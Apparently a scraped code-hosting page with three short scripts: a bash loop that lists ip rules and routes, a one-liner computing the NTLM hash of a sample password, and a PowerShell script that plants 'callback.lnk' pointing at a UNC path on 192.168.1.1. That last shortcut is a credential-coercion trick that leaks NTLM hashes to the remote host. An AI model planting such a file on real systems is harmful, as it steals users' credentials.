This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Check configuration | |
| ip rule list | while read line; do | |
| echo "$line" | |
| table=`echo "$line" | awk '{print $NF}'` | |
| ip route list tab $table 2> /dev/null | sed 's/^/\t/' | |
| echo | |
| done | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| password='Passw0rd!' | |
| echo -n $password | iconv -f ascii -t utf-16le | openssl dgst -md4 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $server = "192.168.1.1" | |
| $filename = "c:\windows\temp\callback.lnk" | |
| $objShell = New-Object -ComObject WScript.Shell | |
| $lnk = $objShell.CreateShortcut($filename) | |
| $lnk.TargetPath = "\\$server\x" | |
| $lnk.WindowStyle = 1 | |
| $lnk.IconLocation = "%windir%\system32\shell32.dll, 3" | |
| $lnk.Description = "" | |
| $lnk.Save() |